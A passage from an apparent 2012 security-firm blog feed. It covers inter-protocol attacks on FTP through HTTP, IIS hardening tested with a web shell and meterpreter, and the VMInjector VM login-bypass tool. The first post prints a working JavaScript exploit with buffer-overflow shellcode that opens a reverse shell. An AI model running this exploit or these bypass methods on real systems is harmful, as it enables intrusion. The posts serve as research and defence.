Supposing that this FTP user and password exist, when this form is submitted you will have logged in to your FTP server. Easy, right?</p>
<p>This is the actual HTTP POST request being sent:<br />
<code><br />
POST / HTTP/1.1<br />
Host: 127.0.0.1:21<br />
User-Agent: Mozilla/5.0 (X11; Debian; Linux x86_32; rv:16.0) Gecko/20110007 Firefox/20.0<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />
Accept-Language: en-gb,en;q=0.5<br />
Accept-Encoding: gzip, deflate<br />
Proxy-Connection: keep-alive<br />
Content-Type: multipart/form-data; boundary=---------------------------63079936718166855021600323653<br />
Content-Length: 304</code></p>
<p><code>-----------------------------63079936718166855021600323653<br />
Content-Disposition: form-data; name="a"</code></p>
<p><code>user secforce<br />
-----------------------------63079936718166855021600323653<br />
Content-Disposition: form-data; name="a"</code></p>
<p><code> </code></p>
<p><code>pass secforce<br />
-----------------------------63079936718166855021600323653--<br />
</code><br />
Here is the reply we receive from the FTP server. All the 50x errors correspond to the HTTP lines the server didn&#8217;t understand. The server ignores those and interprets the lines it does understand.<br />
<code><br />
220---------- Welcome to Pure-FTPd [privsep] [TLS] &#8212;&#8212;&#8212;-<br />
220-Local time is now 12:41. Server port: 21.<br />
220-This is a private system - No anonymous login<br />
220 You will be disconnected after 15 minutes of inactivity.<br />
530 You aren&#8217;t logged in<br />
500 ?<br />
500 ?<br />
500 ?<br />
500 ?<br />
500 ?<br />
500 ?<br />
500 ?<br />
500 ?<br />
500 ?<br />
500 ?<br />
500 ?<br />
500 ?<br />
331 User secforce OK. Password required<br />
500 ?<br />
500 ?<br />
500 ?<br />
230 OK. Current directory is /<br />
500 ?<br />
</code><br />
<strong>In-band vs out-of-band control</strong><br />
You might notice that not all FTP commands work over HTTP. Commands like MKD/RMD and DEL work whereas GET/PUT, RETR/STOR don&#8217;t. The reason for this is that FTP is an out-of-band protocol, meaning it uses separate TCP ports for data and control connections. In fact, if you try to use STOR to upload a file to the server, you will create an empty file with the name you specified. This happens because the file is created before the transfer occurs. All commands that don&#8217;t need a separate data connection - that only use the control connection - will work.</p>
<p>Let&#8217;s now look at a more interesting example.</p>
<p><strong><em>Example 2 : Running an FTP exploit through HTTP.</em></strong></p>
<p>For this example we picked <em>EasyFTP v1.7</em>, an FTP server vulnerable to a buffer overflow on the MKD command. Note that this command only uses the control connection, which makes our life easier! We set up the server in a virtual machine (192.168.1.10) and created the user &#8216;anonymous&#8217; because for the exploit to work you need to be logged in to the server.</p>
<p>No need to reinvent the wheel so we took a known exploit (see [6]) and crafted a POST request (this time with Javascript) to deliver the shellcode to our FTP server. To send the shellcode we used sendAsBinary as shown by Michele Orru and Ty Miller in RuxCon 2012 (see [4]). Check out their Inter-Protocol Exploitation research with BeEF (see [3]).</p>
<p>Here is our function:<br />
<code><br />
function exploit(){<br />
var url = 'http://192.168.1.10:21'<br />
var intro = 'USER anonymous\r\nPASS anonymous\r\n'<br />
var payload = 'MKD \x89\xe7\x81\xef\x10\xfe\xff\xff\xc7\x07\x13\x57\x7e\xd6\x81\xc7<br />
\x14\xff\xff\xff\xff\xe7\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43<br />
\xba\xae\x16\xd0\x74\xd9\xcc\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x4f<br />
\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x4c\xe3\x2c\x9c\x19\x0c\xcd<br />
\x5d\x79\x84\x28\x6c\xab\xf2\x39\xdd\x7b\x70\x6f\xee\xf0\xd4\x84<br />
\x65\x74\xf1\xab\xce\x32\x27\x85\xcf\xf3\xe7\x49\x13\x92\x9b\x93<br />
\x40\x74\xa5\x5b\x95\x75\xe2\x86\x56\x27\xbb\xcd\xc5\xd7\xc8\x90<br />
\xd5\xd6\x1e\x9f\x66\xa0\x1b\x60\x12\x1a\x25\xb1\x8b\x11\x6d\x29<br />
\xa7\x7d\x4e\x48\x64\x9e\xb2\x03\x01\x54\x40\x92\xc3\xa5\xa9\xa4<br />
\x2b\x69\x94\x08\xa6\x70\xd0\xaf\x59\x07\x2a\xcc\xe4\x1f\xe9\xae<br />
\x32\xaa\xec\x09\xb0\x0c\xd5\xa8\x15\xca\x9e\xa7\xd2\x99\xf9\xab<br />
\xe5\x4e\x72\xd7\x6e\x71\x55\x51\x34\x55\x71\x39\xee\xf4\x20\xe7<br />
\x41\x09\x32\x4f\x3d\xaf\x38\x62\x2a\xc9\x62\xeb\x9f\xe7\x9c\xeb<br />
\xb7\x70\xee\xd9\x18\x2a\x78\x52\xd0\xf4\x7f\x95\xcb\x40\xef\x68<br />
\xf4\xb0\x39\xaf\xa0\xe0\x51\x06\xc9\x6b\xa2\xa7\x1c\x3b\xf2\x07<br />
\xcf\xfb\xa2\xe7\xbf\x93\xa8\xe7\xe0\x83\xd2\x2d\x97\x84\x45\x62<br />
\xb8\x1a\x92\x12\xbb\x1a\x8b\xbe\x32\xfc\xc1\x2e\xec\x41\x40\x00<br />
\x3e\x23\x1f\x17\x95\xa3\xbc\x8a\x72\x33\xca\xb6\x2c\x64\x9b\x09<br />
\x25\xe0\x31\x33\x9f\x16\xc8\xa5\xd8\x92\x17\x16\xe6\x1b\xd5\x22<br />
\xcc\x0b\x23\xaa\x48\x7f\xfb\xfd\x06\x29\xbd\x57\xe9\x83\x17\x0b<br />
\xa3\x43\xe1\x67\x74\x15\xee\xad\x02\xf9\x5f\x18\x53\x06\x6f\xcc<br />
\x53\x7f\x8d\x6c\x9b\xaa\x15\x8c\x7e\x7e\x60\x25\x27\xeb\xc9\x28<br />
\xd8\xc6\x0e\x55\x5b\xe2\xee\xa2\x43\x87\xeb\xef\xc3\x74\x86\x60<br />
\xa6\x7a\x35\x80\xe3'<br />
var req = new XMLHttpRequest();<br />
req.open('POST', url, true);<br />
req.setRequestHeader('Content-Type', 'text/plain');<br />
req.setRequestHeader('Content-Length', '20');<br />
req.sendAsBinary(intro + payload + '\r\n'); // neat way to send hexadecimal code through HTTP<br />
}<br />
</code><br />
As a payload we chose a reverse shell to port 4444 of our host and set up a listener there. We then inserted this javascript code in a webpage and opened it in our host&#8217;s browser. Guess what?</p>
<p><a href="http://www.secforce.com/blog/wp-content/uploads/2012/11/shell.jpg"><img class="aligncenter size-medium wp-image-337" title="shell" src="http://www.secforce.com/blog/wp-content/uploads/2012/11/shell-300x108.jpg" alt="" width="300" height="108" /></a></p>
<p>Happy days! <img src='http://www.secforce.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>How to defend against it?</strong></p>
<ul>
<li> Port blocking - By default, most browsers deny connections to several known ports (21/FTP, 25/SMTP, etc). This protection can be overcome by tweaking the browser configuration or by using non-standard ports.</li>
<li> Less error tolerance - Some protocols close the connection if they receive something they don&#8217;t understand. This provides less flexibility but more security against this kind of attack. A better option is to close the connection after a few unrecognized commands.</li>
</ul>
<p><strong>Conclusion</strong><br />
As mentioned before, this kind of attack has several limitations and requirements. Although there are often easier ways to achieve the same result, under certain circumstances, this can be a valid vector of attack.</p>
<p><strong>More about this</strong></p>
<p>[1] http://www.bindshell.net/papers/ipc.html<br />
[2]http://www.dcs.co.jp/security/NGS_freedownloads/InterProtocolExploitation.pdf<br />
[3] http://blog.beefproject.com/2012/11/revitalizing-inter-protocol.html<br />
[4] http://www.slideshare.net/micheleorru2/rooting-your-internals-exploiting-internal-network-vulns-via-the-browser-using-beef-bind<br />
[5] http://www.remote.org/jochen/sec/hfpa/hfpa.pdf<br />
[6] http://dev.metasploit.com/redmine/projects/framework/repository/<br />
entry/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb<br />
[7] http://privacy-pc.com/news/how-to-hack-facebook-account-3-applying-cross-protocol-scripting-to-attack-victims-network.html<br />
[8] http://en.wikipedia.org/wiki/Inter-protocol_communication<br />
[9] http://en.wikipedia.org/wiki/Inter-protocol_exploit</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2012/11/inter-protocol-communication/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Shortcomings of following IIS security best practices</title>
		<link>http://www.secforce.com/blog/2012/11/shortcomings-of-following-iis-security-best-practices/</link>
		<comments>http://www.secforce.com/blog/2012/11/shortcomings-of-following-iis-security-best-practices/#comments</comments>
		<pubDate>Fri, 16 Nov 2012 09:39:50 +0000</pubDate>
		<dc:creator>Nikos Vassakis</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[Risk Management]]></category>

		<category><![CDATA[best practices]]></category>

		<category><![CDATA[IIS]]></category>

		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.secforce.com/blog/?p=297</guid>
		<description><![CDATA[Having a secure web application is obviously in the best interest of the business. However, in many cases the developing is done without security in mind. Understandably time-to-market is an important factor for a business but a layered security approach will be more beneficial in the long run.
As a preliminary step it is important to [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="text-align: left; ">Having a secure web application is obviously in the best interest of the business. However, in many cases the developing is done without security in mind. Understandably time-to-market is an important factor for a business but a layered security approach will be more beneficial in the long run.</p>
<p class="MsoNormal">As a preliminary step it is important to secure the perimeter by implementing a firewalled DMZ zone</p>
<p class="MsoNormal">In short one must follow the configuration below:</p>
<p class="MsoNormal">Internet&#8212;[firewall]&#8212;[DMZ Zone]&#8212;[firewall]&#8212;Internal Network</p>
<p class="MsoNormal">The benefit of this configuration is that the web server only has limited access to the internal network.</p>
<p class="MsoNormal">The external firewall should only allow incoming connections on ports 80 and/or 443(https) but this should be done after the web application is ready for deployment. As a first step the external firewall should not allow any connections.</p>
<p class="MsoNormal">The internal firewall should allow any connection to any service needed and reject any other connections. Additionally it should only allow incoming connections to be made from the internal network and reject outgoing connections to the internal network to be made.</p>
<p class="MsoNormal">Another obvious benefit of such configuration is that if the web server gets compromised the internal network will be protected and the &#8220;attacker&#8221; will not be able to use the webserver to compromise hosts on the internal network.</p>
<p class="MsoNormal">Moreover having a firewall in place from the start it will make it easier to configure access to the web server later on.</p>
<p class="MsoNormal">As a general rule every exposed service should be seen as a potential threat, as individual vulnerabilities in services can lead to full compromise of the host.</p>
<p class="MsoNormal">Having said that the setup of a DMZ is not what this blog post is about but it needs to be stated here.</p>
<p class="MsoNormal">
<p><strong>Installing the server:</strong></p>
<p class="MsoNormal">In the following post we will try to emulate the scenario of an vulnerable web application and how the web server needs to be configured in order be protected against such applications. For this test case an installation of the latest Microsoft Windows 2012 Core server was done. The reason being that no extra services or additional software will be installed.</p>
<p><a href="http://www.secforce.com/blog/wp-content/uploads/2012/11/screenshot-at-2012-10-17-110933.png"><img class="size-medium wp-image-298 alignnone" title="Windows_Server_2012_core_installation" src="http://www.secforce.com/blog/wp-content/uploads/2012/11/screenshot-at-2012-10-17-110933.png" alt="" width="300" height="221" /></a></p>
<p class="MsoNormal"><span>Soon after the Core installation is finished, we see the Windows Server 2012 login screen.</span></p>
<p class="MsoNormal"><a href="http://www.secforce.com/blog/wp-content/uploads/2012/11/screenshot-at-2012-10-17-111658.png"><img class="size-medium wp-image-299 alignnone" title="windows_server_2012_login" src="http://www.secforce.com/blog/wp-content/uploads/2012/11/screenshot-at-2012-10-17-111658-300x223.png" alt="" width="300" height="223" /></a></p>
<p class="MsoNormal">After successfully authentication, we are greeted with an Administration terminal, and we install IIS by issuing the script below:</p>
<blockquote>
<p class="MsoNormal"><span class="MsoSubtleEmphasis"><em>C:\&gt;CMD /C START /w PKGMGR.EXE /l:log.etw /iu:IIS-WebServerRole;IIS-WebServer;IIS-CommonHttpFeatures;IIS-StaticContent;IIS-DefaultDocument;IIS-DirectoryBrowsing;IIS-HttpErrors;IIS-HttpRedirect;IIS-ApplicationDevelopment;IIS-ASP;IIS-CGI;IIS-ISAPIExtensions;IIS-ISAPIFilter;IIS-ServerSideIncludes;IIS-HealthAndDiagnostics;IIS-HttpLogging;IIS-LoggingLibraries;IIS-RequestMonitor;IIS-HttpTracing;IIS-CustomLogging;IIS-ODBCLogging;IIS-Security;IIS-BasicAuthentication;IIS-WindowsAuthentication;IIS-DigestAuthentication;IIS-ClientCertificateMappingAuthentication;IIS-IISCertificateMappingAuthentication;IIS-URLAuthorization;IIS-RequestFiltering;IIS-IPSecurity;IIS-Performance;IIS-HttpCompressionStatic;IIS-HttpCompressionDynamic;IIS-WebServerManagementTools;IIS-ManagementScriptingTools;IIS-IIS6ManagementCompatibility;IIS-Metabase;IIS-WMICompatibility;IIS-LegacyScripts;WAS-WindowsActivationService;WAS-ProcessModel;IIS-ASPNET;IIS-NetFxExtensibility;WAS-NetFxEnvironment;WAS-ConfigurationAPI;IIS-ManagementService;MicrosoftWindowsPowerShell;NetFx2-ServerCore;NetFx2-ServerCore-WOW64</em></span></p>
</blockquote>
<p class="MsoNormal">The Initial setup was with .NET and without FTP and WebDAV. In retrospect FTP was needed to upload content and it was installed later on. I must note that the PKGMGR is almost apt-get awesome.</p>
<p class="MsoNormal">After everything is installed we start PowerShell to manage the server more effectively.</p>
<p class="MsoNormal">In PowerShell we can enable the IIS features that we want eg.:</p>
<blockquote>
<p class="MsoNormal"><span class="MsoSubtleEmphasis"><em> $IISFeatures = @(&#8221;Web-Asp-Net45&#8243;, &#8220;Web-Net-Ext&#8221;, &#8220;Web-ISAPI-Ext&#8221;, &#8220;Web-ISAPI-Filter&#8221;, &#8220;Web-Filtering&#8221;, &#8220;Web-IP-Security&#8221;) </em></span></p>
<p class="MsoNormal"><span class="MsoSubtleEmphasis"><em>Add-WindowsFeature -Name $IISfeatures -logPath &#8220;$Env:ComputerName.log&#8221; –Source \\Server\Share\sources</em></span></p>
</blockquote>
<p class="MsoNormal">Soon after the web server is ready and serving …</p>
<p class="MsoNormal"><a href="http://www.secforce.com/blog/wp-content/uploads/2012/11/default_iis_8.png"><img class="size-medium wp-image-301 alignnone" title="default_iis_8" src="http://www.secforce.com/blog/wp-content/uploads/2012/11/default_iis_8.png" alt="" width="284" height="177" /></a></p>
<p class="MsoNormal" style="text-align: left; ">
<p><strong>However default setup is not what we want. Let’s follow best practices for IIS…</strong></p>
<p class="MsoNormal">As a general rule of thumb default installations are not considered secure or robust in most software. This means that further steps are needed to secure the web server effectively. A search for &#8220;IIS best practice standards&#8221; gives us an idea of what needs to be done, as summarized below:</p>
<ol>
<li>Stop Default Web Site</li>
<li>Stop Default application pool</li>
<li>Each site should use its own associated Application Pool</li>
<li>Each site should have Anonymous Authentication configured to use the AppPoolIdentity</li>
<li>Web root directory should be on a separate disk</li>
<li>Move the log files to the separate disk</li>
</ol>
<p><!--[if !supportLists]--></p>
<p><span style="font-weight: bold; ">1. Stopping default website:</span></p>
<blockquote>
<p class="MsoNormal">In powershell:</p>
<p class="MsoNormal">load the WebAdministration module</p>
<ul>
<li><span class="MsoSubtleEmphasis"><em>PS:\&gt; ipmo WebAdministration</em></span></li>
</ul>
<p class="MsoNormal">Stop the Default Web Site from Starting on startup</p>
<ul>
<li><span class="MsoSubtleEmphasis"><em>PS:\&gt; Set-ItemProperty &#8216;IIS:\Sites\Default Web Site&#8217; ServerAutoStart False</em></span></li>
</ul>
<p class="MsoNormal">Stop the Default Web Site</p>
<ul>
<li><span class="MsoSubtleEmphasis"><em>PS:\&gt; Stop-WebSite &#8216;Default Web Site&#8217;</em></span></li>
</ul>
<p class="MsoNormal">*Optionally: remove the Default Web Site</p>
<ul>
<li><em>PS:\&gt; Remove-WebApplication &#8216;Default Web Site&#8217;</em></li>
</ul>
</blockquote>
<p><strong>2. Stopping Default application pool:</strong></p>
<blockquote>
<ul>
<li><span class="MsoSubtleEmphasis"><em>PS:\&gt; Stop-WebAppPool DefaultAppPool</em></span></li>
</ul>
</blockquote>
<p><strong>3. Each site should use its own associated Application Pool:</strong></p>
<blockquote>
<p class="MsoNormal"><strong></strong>Create new website &amp; changed the default web root</p>
</blockquote>
<blockquote>
<ul>
<li><em><span style="white-space: pre; "> </span>PS:\&gt; New-Item IIS:\Sites\Demo -bindings @{protocol=&#8217;http&#8217;;bindingInformation=&#8217;:80:*&#8217;} -PhysicalPath F:\wwwroot\Demo</em></li>
</ul>
</blockquote>
<p><strong>4. Each site should have Anonymous Authentication configured to use the AppPoolIdentity</strong></p>
<blockquote>
<ul>
<li><span class="MsoSubtleEmphasis"><em>PS:\&gt; set-webconfigurationproperty /system.webServer/security/authentication/anonymousAuthentication -name userName -value &#8220;&#8221;</em></span></li>
</ul>
</blockquote>
<address class="MsoNormal" style="padding-left: 60px;"><span style="color: #888888;"><em>*At this point I must note that using PowerShell was becoming harder and time consuming. So I started IIS remote management to check the configuration more effecively</em></span></address>
<address class="MsoNormal" style="padding-left: 90px;"><span style="color: #888888;"><em>C:\&gt; net start wmsvc<br />
</em></span></address>
<address class="MsoNormal" style="padding-left: 30px;"> </address>
<p><strong>5. Fix permissions:</strong></p>
<blockquote>
<p class="MsoNormal">Root folder is at f:\wwwroot</p>
<p class="MsoNormal">Allow inheritance of read permissions in subfolders and files inside this directory</p>
<ul>
<li><span class="MsoSubtleEmphasis"><em>F:\&gt;ICACLS &lt;path_to_root&gt; /INHERITANCE:R</em></span></li>
</ul>
<p><span class="MsoSubtleEmphasis"><em>Remove users from beeing able to access this directory</em></span> (Only admins should have full access to the web root folder)</p>
<ul>
<li><span class="MsoSubtleEmphasis"><em>F:\&gt;ICACLS &lt;path_to_root&gt; /remove Users</em></span></li>
</ul>
</blockquote>
<blockquote>
<p class="MsoNormal">Allow read access to the Application Pool on the Web page folder (f:\wwwroot\Demo)</p>
</blockquote>
<blockquote>
<ul>
<li><span class="MsoSubtleEmphasis"><em>F:\&gt;ICACLS &lt;path_to_site&gt; /grant &#8220;IIS AppPool\&lt;app_pool_name&gt;&#8221;:(OI)(CI)R</em></span></li>
</ul>
</blockquote>
<address class="MsoNormal" style="padding-left: 30px;">* Another typical case installation scenario would be to give full access to the Application Pool, but this is not suggested:</address>
<blockquote>
<ul>
<li><span class="MsoSubtleEmphasis"><em>C:\&gt; icacls &lt;path_to_site&gt; /grant &#8220;IIS APPPOOL\&lt;app_pool_name&gt;&#8221;(CI)(OI)(M)</em></span></li>
</ul>
<address class="MsoNormal"><span class="MsoSubtleEmphasis"> </span></address>
<address class="MsoNormal"><span class="MsoSubtleEmphasis"><br />
</span></address>
</blockquote>
<p class="MsoNormal"><a href="http://www.secforce.com/blog/wp-content/uploads/2012/11/wwwroot_permissions.png"><img class="size-medium wp-image-302 alignnone" title="wwwroot_permissions" src="http://www.secforce.com/blog/wp-content/uploads/2012/11/wwwroot_permissions-300x78.png" alt="" width="300" height="78" /></a></p>
<p class="MsoNormal" style="text-align: left; ">
<p><strong>6. Finally, move the log files to the separate disk</strong></p>
<blockquote>
<ul>
<li><span class="MsoSubtleEmphasis"><em>PS:\&gt;Set-ItemProperty IIS:\Sites\Demo -name logfile.directory -value F:\weblogs</em></span></li>
</ul>
</blockquote>
<p class="MsoNormal">
<p class="MsoNormal">This concludes the &#8220;following best practices&#8221; part of the post. Now it is time to test the configuration. I tend to find that exploiting (as I would normally do) is the most effective way of testing. This process involves identifying the issues and then modifying the configuration to combat those issues.</p>
<p class="MsoNormal"><strong>Let’s exploit us !?!</strong></p>
<p class="MsoNormal">As a first ster an asp web shell was uploadedl. Obviously this is not something to have on your website but we are trying to emulate a vulnerable web application or a web application with vulnerabilities that could allow a web shell to be uploaded.</p>
<p class="MsoNormal">The web shell allows us to execute commands. This is not something unexpected major after all it’s a web shell. The first issue identified was that we could read other parts of the file system. As expected (due to permissions above) we cannot write to any part of the filesystem or to the websites folder.</p>
<p class="MsoNormal"><a href="http://www.secforce.com/blog/wp-content/uploads/2012/11/uploading_meterpreter.png"><img class="size-medium wp-image-303 alignnone" title="uploading_meterpreter" src="http://www.secforce.com/blog/wp-content/uploads/2012/11/uploading_meterpreter-300x75.png" alt="" width="300" height="75" /></a></p>
<p class="MsoNormal">Apparently, it is possible to make a new folder at the disk root directory (eg. f:\temp) that gave full permissions to the Application Pool. Following that it was possible to upload a meterpreter exploit and execute it, to get an interactive shell.</p>
<p class="MsoNormal">The reason behind this was that the default permissions in the hard disk root gave full access to any User. A very simple mistake but had devastating affects for the web server. Moreover changing the permissions of the hard disk root directory was not suggested anywhere in the standards I was following. Additionally, permissions on the %TEMP% folder should also be reviewed as typically this folder can also be accessed by any user.</p>
<p class="MsoNormal">Lastly I must add that the exploit was running with restricted user permissions. There are a number of techniques for escalating our privileges, but as Windows Server 2012 is new none of the commonly used ones was successful, at least without rebooting the server. In any case the server is considered exploited.</p>
<p class="MsoNormal"><a href="http://www.secforce.com/blog/wp-content/uploads/2012/11/reverse_shell.png"><img class="size-medium wp-image-304 alignnone" title="reverse_shell" src="http://www.secforce.com/blog/wp-content/uploads/2012/11/reverse_shell-300x88.png" alt="" width="300" height="88" /></a></p>
<p><strong>Identifying &amp; fixing the problems:</strong></p>
<p class="MsoNormal">Problem #1:</p>
<blockquote>
<p class="MsoNormal">AppPool was not restricted inside the wwwroot\Demo folder and had access to other parts of the file system.</p>
<p class="MsoNormal">To remove user permissions in the root directories.</p>
</blockquote>
<blockquote>
<ul>
<li><span class="MsoSubtleEmphasis"><em>C:\&gt; ICACLS &lt;path_to_drive&gt; /remove Users</em></span></li>
<li><span class="MsoSubtleEmphasis"><em>C:\&gt; ICACLS &lt;path_to_drive&gt; /remove Everyone</em></span></li>
</ul>
<address class="MsoNormal" style="padding-left: 30px;"><em>* For both F: and C: drives</em></address>
</blockquote>
<p class="MsoNormal">Problem #2</p>
<p class="MsoNormal">Executing the exploit.</p>
<p class="MsoNormal">First, to make it more realistic, lets assume the applications has a legitimate upload functionality it is therefore possible to upload a files to the web server. For this an upload folder with read and write permissions was added.</p>
<p class="MsoNormal">Although we are able to upload the exploit again, the Application Pool had no execution privileges in that folder so it was not possible to run it.</p>
<p class="MsoNormal"><a href="http://www.secforce.com/blog/wp-content/uploads/2012/11/running_exploit_denied.png"><img class="size-medium wp-image-305 alignnone" title="running_exploit_denied" src="http://www.secforce.com/blog/wp-content/uploads/2012/11/running_exploit_denied-300x55.png" alt="" width="300" height="55" /></a></p>
<p class="MsoNormal">
<p class="MsoNormal">Problem #3</p>
<p class="MsoNormal">Although we cannot run an exploit, it is possible to upload a web shell and access it through the web server. This could be possible by abusing the upload functionality of any legitimate web application. To combat this we must instruct the server not to run ASP pages/files from within our upload folder.</p>
<p class="MsoNormal">To remove the functionality:</p>
<p class="MsoNormal">make a web.config file with the following content:</p>
<blockquote>
<p class="MsoNormal"><span class="MsoSubtleEmphasis"><em>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;</em></span></p>
<p class="MsoNormal"><span class="MsoSubtleEmphasis"><em>&lt;configuration&gt;</em></span></p>
<p class="MsoNormal"><span class="MsoSubtleEmphasis"><em> &lt;system.webServer&gt;</em></span></p>
<p class="MsoNormal"><span class="MsoSubtleEmphasis"><em> &lt;handlers&gt;</em></span></p>
<p class="MsoNormal"><span class="MsoSubtleEmphasis"><em> &lt;clear /&gt;</em></span></p>
<p class="MsoNormal"><span class="MsoSubtleEmphasis"><em> &lt;/handlers&gt;</em></span></p>
<p class="MsoNormal"><span class="MsoSubtleEmphasis"><em> &lt;/system.webServer&gt;</em></span></p>
<p class="MsoNormal"><span class="MsoSubtleEmphasis"><em>&lt;/configuration&gt;</em></span></p>
</blockquote>
<p class="MsoNormal">This instructs the server to clear all the file handlers and to not serve any contents. For example the .asp files will not be handled by the ASP engine.</p>
<p class="MsoNormal">As we can see below even though the webshell is inside the upload folder when trying to access it we receive a 404 file not found error.</p>
<p class="MsoNormal"><a href="http://www.secforce.com/blog/wp-content/uploads/2012/11/webshell_upload.png"><img class="size-medium wp-image-306 alignnone" title="webshell_upload" src="http://www.secforce.com/blog/wp-content/uploads/2012/11/webshell_upload-300x37.png" alt="" width="300" height="37" /></a></p>
<p class="MsoNormal"><a href="http://www.secforce.com/blog/wp-content/uploads/2012/11/webshell_execution_denied.png"><img class="size-medium wp-image-307 alignnone" title="webshell_execution_denied" src="http://www.secforce.com/blog/wp-content/uploads/2012/11/webshell_execution_denied-300x90.png" alt="" width="300" height="90" /></a></p>
<p class="MsoNormal">Additionally to prevent overwriting of the file from the webshell, since every object inside the upload folder will inherit IIS AppPool\DemoPool write permissions; the web.config permissions should be changed to:</p>
<blockquote>
<ul>
<li><span class="MsoSubtleEmphasis"><em>C:\&gt; ICACLS &lt;path&gt;/web.config /inheritance:r /grant:r &#8220;IIS APPPOOL\DemoPool&#8221;:R Administrators:F</em></span></li>
</ul>
</blockquote>
<p><strong>Famous last words:</strong></p>
<p class="MsoNormal">As per the above examples, following best practices helps the security of the web server but in many cases this can lead to a dangerous false sense of security. Following any post blindly (this included) is not recommended. Continuously testing and modifying the the configuration untill it reaches the desired state (where the whole configuration as restricted as it can be) is generally a better approach, one which help create a truly secure and robust server.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2012/11/shortcomings-of-following-iis-security-best-practices/feed/</wfw:commentRss>
		</item>
		<item>
		<title>VMInjector - DLL Injection tool to unlock guest VMs</title>
		<link>http://www.secforce.com/blog/2012/11/vminjector/</link>
		<comments>http://www.secforce.com/blog/2012/11/vminjector/#comments</comments>
		<pubDate>Wed, 14 Nov 2012 11:05:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[Security research]]></category>

		<category><![CDATA[Tools]]></category>

		<category><![CDATA[VMInjector]]></category>

		<category><![CDATA[VMWare]]></category>

		<category><![CDATA[VMWare security]]></category>

		<guid isPermaLink="false">http://www.secforce.com/blog/?p=292</guid>
		<description><![CDATA[Overview:
VMInjector is a tool designed to bypass OS login authentication screens of major operating systems running on VMware Workstation/Player, by using direct memory manipulation.
Description:
VMInjector is a tool which manipulates the memory of VMware guests in order to bypass the operation system authentication screen.
VMware handles the resources allocated to guest operating systems, including RAM memory. VMInjector [...]]]></description>
			<content:encoded><![CDATA[<p><span><strong><span>Overview:</span></strong></span></p>
<p><span>VMInjector is a tool designed to bypass OS login authentication screens of major operating systems running on VMware Workstation/Player, by using direct memory manipulation.</span></p>
<p><strong><span>Description:</span></strong></p>
<p><span>VMInjector is a tool which manipulates the memory of VMware guests in order to bypass the operation system authentication screen.</span></p>
<p><span>VMware handles the resources allocated to guest operating systems, including RAM memory. VMInjector injects a DLL library into the VMWare process to gain access to the mapped resources. The DLL library works by parsing memory space owned by the VMware process and locating the memory-mapped RAM file, which corresponds to the guest&#8217;s RAM image. By manipulating the allocated RAM file and patching the function in charge of the authentication, an attacker gains unauthorised access to the underlying virtual host.</span></p>
<p><span>VMInjector can currently bypass locked Windows, Ubuntu and Mac OS X operation systems.</span></p>
<p><span>The in-memory patching is non-persistent, and rebooting the guest virtual machine will restore the normal password functionality. </span></p>
<p><strong><span>Attacking Scenarios:</span></strong></p>
<p><span>VMInjector can be used if the password of a virtual host is forgotten and requires reset.</span></p>
<p><span>Most usually, this tool can be used during penetration testing activities, when access to a VMWare host is achieved and the attacker is looking to gain additional access to the guests running in such host.</span></p>
<p><span><strong><span>Requirements:</span></strong></span></p>
<ul>
<li>Windows machine (with administrative access);</li>
<li>VMware workstation or player edition;</li>
<li>A locked guest VM;</li>
</ul>
<p><!--[if !supportLists]--></p>
<p><span><strong><span>Usage:</span></strong></span></p>
<p><span><span>VMInjector consists of 2 parts:</span></span></p>
<ul>
<li>The DLL injection application (python script or provided converted executable)</li>
<li>DLL library (x86 and x64)</li>
</ul>
<p><!--[if !supportLists]--></p>
<p><span><span>The tool supports both x86 and x64 bit architectures by providing both DLLs. One may use his own DLL injector to select the guest virtual machine running on the host. </span></span></p>
<p><span><span>In order to run the tool, execute the VMInjector (32 or 64) executable provided from the command line as shown in figure 1.</span></span></p>
<p><a href="http://www.secforce.com/blog/wp-content/uploads/2012/11/fig1.jpg"><img class="alignnone size-full wp-image-322" title="List of running guest machines" src="http://www.secforce.com/blog/wp-content/uploads/2012/11/fig1.jpg" alt="" width="500" height="197" /></a></p>
<p><strong><span>Figure 1: List of running guest machines running.</span></strong></p>
<p><span><span>VMWare runs each guest in a different process. VMInjector needs to be pointed to the process running the guest which requires bypass. Once the user chooses a process, it will inject the DLL into the chosen target. </span></span></p>
<p><span><span>Once the DLL is injected, the user will need to specify the OS, so that the memory patching can be accomplished, as shown in Figure 2.</span></span></p>
<p class="MsoNormal"><a href="http://www.secforce.com/blog/wp-content/uploads/2012/11/fig2.jpg"><img class="alignnone size-full wp-image-323" title="Searching for OS signature in memory and patching" src="http://www.secforce.com/blog/wp-content/uploads/2012/11/fig2.jpg" alt="" width="500" height="149" /></a></p>
<p><strong><span>Figure 2: Searching for OS signature in memory and patching. </span></strong></p>
<p class="MsoNormal"><strong><span>Tool and Source Code:</span></strong></p>
<p class="MsoNormal"><span>The tool executable and source code can be found on GitHub (https://github.com/batistam/VMInjector)</span></p>
<p class="MsoNormal"><strong><span>Disclaimer:</span></strong></p>
<p class="MsoNormal"><span>This tool is for legal purposes only. The code is released under GPLv3 license.</span></p>
<p class="MsoNormal"><strong><span>Thanks and references: </span></strong></p>
<p class="MsoNormal"><span>I would like to thank Michael Ligh for his valuable research on injecting shellcode into guest virtual machines back in 2006.</span></p>
<p class="MsoNormal"><span>I would also like to thank Carsten Maartmann-Moe for is work on Inception, a</span><span> tool which can unlock locked Windows, Ubuntu and OS X machines by using the IEEE 1394 FireWire trick. This was first showcased by the (now obsolete) winlockpwn tool</span><span>.</span></p>
<p class="MsoNormal"><strong><span>Credits: </span></strong></p>
<p class="MsoNormal"><span>Tool coded by Marco Batista</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><strong>Download:</strong></strong></p>
